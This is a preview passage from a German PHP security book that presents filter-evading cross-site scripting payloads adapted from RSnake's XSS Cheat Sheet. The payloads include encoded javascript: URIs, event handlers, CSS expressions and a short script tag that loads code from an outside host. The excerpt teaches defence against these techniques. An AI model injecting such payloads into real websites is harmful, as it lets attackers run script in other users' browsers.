O'Reilly logo

PHP-Sicherheit: PHP/MySQL-Webanwendungen sicher programmieren by Stefan Esser, Christopher Kunz

Stay ahead with the world's most comprehensive technology and business learning platform.

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, tutorials, and more.

Start Free Trial

No credit card required

914.10 Angriffe verschleiern – XSS Cheat Sheet
Natürlich sind diese fünf Anwendungsbeispiele nicht die einzigen für
besonders XSS-anfällige Applikationen. Prinzipiell ist die Aussage
»Wenn es Benutzereingaben verarbeitet, ist es gefährdet« zwar sehr
verallgemeinernd, aber nicht unpassend.
4.10 Angriffe verschleiern – XSS Cheat Sheet
Um effektiv gegen XSS vorgehen zu können, müssen Sie zunächst wis-
sen, auf welche Arten ein Angreifer versuchen kann, seinen Schadcode
in Ihre Skripte zu injizieren.
Dazu hat ein Sicherheitsexperte namens »RSnake« eine sehr nütz-
liche Sammlung
1
bekannter und weniger bekannter Möglichkeiten
zusammengestellt, Anti-XSS-Filter zu überwinden: das »XSS Cheat
Sheet«. Die schiere Anzahl dieser Möglichkeiten bestätigt die Forde-
rung, potenziell gefährliche Benutzereingaben nie zu filtern, um sie
gültig zu machen, sondern sie stets restriktiv zu behandeln: Nicht
Blacklists, sondern Whitelists mit erlaubten Inhalten sind die Devise.
Einige der Möglichkeiten, Skripte per XSS an ungenügend imple-
mentierten Filtern vorbeizuschleusen, möchten wir Ihnen nun präsen-
tieren.
Variationen eines
Standardbeispiels
Der bekannteste Weg, Skriptcode in eine fremde Seite einzufügen,
ist sicherlich das berüchtigte
<script>alert('xss')</script>. Dieser
Einzeiler erzeugt ein JavaScript-Popup, sofern die Wirtsseite für XSS
anfällig ist. Sites, die Anführungszeichen maskieren, können mit einer
etwas längeren Konstruktion ausgetrickst werden – und auch Null-
bytes (die allerdings von PHP unter Umständen gefiltert werden) las-
sen ein Skript-Tag an manchen Filtern vorbei:
<script>alert('xss')</script>
<script>x=/XSS/; alert(x.source)</script>
<SCR\0IPT>alert("XSS")</SCR\0IPT>
XSS in Bild-Links
Auf Browsern der Internet-Explorer-Familie wird JavaScript auch in
Bildreferenzen ausgeführt:
<img src="javascript:alert('xss')">. Mit
diesem XSS lassen sich viele Forensysteme, die BBCode o.Ä. verwen-
den, austricksen, wenn die Prüfung auf eine gültige Bilddatei im
<img>-
Tag nicht korrekt implementiert wurde. In verschiedenen Variationen
(mit und ohne Anführungszeichen um das
src-Attribut, mit HTML-
codierten Anführungszeichen im Aufruf der Alert-Funktion) können
weitere Filter überlistet werden.
1. http://ha.ckers.org/xss.html
4 Cross-Site Scripting92
<img src="javascript:alert('xss')">
<img src="javascript:alert(&quot;XSS&quot;)">
<img src=JaVaScRipT:alert(&quot;XSS&quot; >
Tricks mit UTF-8
Mit UTF-8-Codierung lassen sich Filter, die auf Ausdrücke wie »java-
script« prüfen, austricksen. Der String »
javascript« könnte komplett
in UTF-8 codiert werden und würde somit zu
&#x6A;&#x61;&#x76;
&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;
– PHP erkennt diese Zei-
chenkette nicht und kann daher mit einem regulären Ausdruck o.Ä.
nicht gegen sie vorgehen. Der Internet Explorer führt jedoch vor der
Ausführung von JavaScript eine UTF-8-Decodierung durch – der
codierte String wird wieder zum ursprünglichen »
javascript« und
kann dann ausgeführt werden. Auch teilweise codierte Zeichenketten
wie etwa »
java&#x73;cript« werden vom IE in den korrekten Ursprung
zurückübersetzt.
Andere Codierungen
Ebenfalls kann mit hexadezimal codierten Tabulatoren, Newlines,
Nullbytes und Blanks der Internet Explorer und ein schlecht program-
mierter XSS-Filter überlistet werden. Einige Beispiele finden Sie unten.
<img
src="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#:alert
('xss')">
<img src="javascr&#x09;ipt:alert('xss')">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
<IMG SRC=" javascript:alert('XSS');">
All diese Angriffsmethoden haben gemeinsam, dass zur erfolgreichen
Ausführung die Möglichkeit gegeben sein muss, ein komplettes
HTML-Tag in die Quellseite einzufügen. Hat der Entwickler jedoch
Wert auf sauberes Setzen der Anführungszeichen und Tag-Auszeich-
nung gelegt, ist dies nicht möglich – unter Umständen kann nun kein
komplettes Tag, wohl aber ein zusätzliches Attribut eingefügt werden.
JavaScript-Eventhandler
Für diesen Fall sind JavaScript-Handler sehr nützlich. Neben
onClick und onMouseOver gibt es noch einige andere Handler, die in
praktisch jedem HTML-Tag verwendet werden können. Da in CMS,
Foren und Blogs in der Regel keine legitimen Anwendungszwecke für
diese Handler existieren, kann der Entwickler Code wie den untenste-
henden (der hauptsächlich vom Internet Explorer interpretiert wird)
filtern:
<BODY ONLOAD=alert('XSS')>
<div onMouseOver=javascript:alert('xss')></div>
<a href=foobar.html onClick=javascript:alert("xss")>test</a>
934.10 Angriffe verschleiern – XSS Cheat Sheet
Weitere
XSS-Gelegenheiten
Auch in anderen Tags existiert die Möglichkeit, Skriptcode einzufü-
gen, wie folgende Beispiele zeigen:
<BODY BACKGROUND="javascript:alert('XSS')">
<div BACKGROUND="javascript:alert('XSS')">foo</div>
<BGSOUND SRC="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;
url=javascript:alert('XSS');">
<TABLE BACKGROUND="javascript:alert('XSS')">
Browserspezialitäten
Browserspezifische Eigenheiten erlauben nicht nur JavaScript, sondern
auch die etwas unüblicheren VBScript und Live- oder Mocha-Script-
Tags. Während VBScript im Internet Explorer ausgeführt wird, kennen
nur ältere Netscape-Versionen die Kürzel
mocha: und livescript: – Sie
können nach diesen Tags einfach beliebigen JavaScript-Code einfügen.
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="mocha:alert('xss')">
Zu guter Letzt sind CSS-Attribute ein beliebtes Ziel für XSS-Angriffe.
Also sollten Sie stets vermeiden, dass Endanwender direkten Einfluss
auf die Style-Attribute eines Dokumentes haben. Sie könnten so näm-
lich Skriptcode einschleusen, unter anderem über folgende Tricks:
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>.XSS{background-
image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
Auch diese Beispiele führt lediglich der Internet Explorer klaglos aus,
Mozilla und Firefox lassen sich durch XSS in CSS – CXSS sozusagen –
nicht aus dem Tritt bringen.
Längenbeschränkungen
austricksen
Wiegen Sie sich nicht in Sicherheit, wenn Ihre Eingabefelder eine
Längenbeschränkung haben: In nur wenigen Zeichen kann eine erfolg-
reiche XSS-Attacke per externer Datenquelle stattfinden. Mit der Zeile
<script src=http://abc.de/>
wird von der Domain abc.de das Indexdokument heruntergeladen und
als JavaScript-Datei verwendet. Der gesamte Ausdruck ist nur 28 Zei-
chen kurz – die Standardgröße für viele Textfelder, z.B. Name und
Adresse beträgt jedoch 30 Zeichen.
Das vollständige XSS Cheat Sheet bietet auch noch einen Über-
blick über verschiedene Methoden, URLs und sonstige Strings so zu
maskieren, dass auf regulären Ausdrücken basierte Filter ausgetrickst
werden, Browser jedoch Skripte ausführen. So kann ein mit dem Zei-
chensatz UTF-8 codiertes Zeichen mit bis zu fünf Nullen versehen wer-

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, interactive tutorials, and more.

Start Free Trial

No credit card required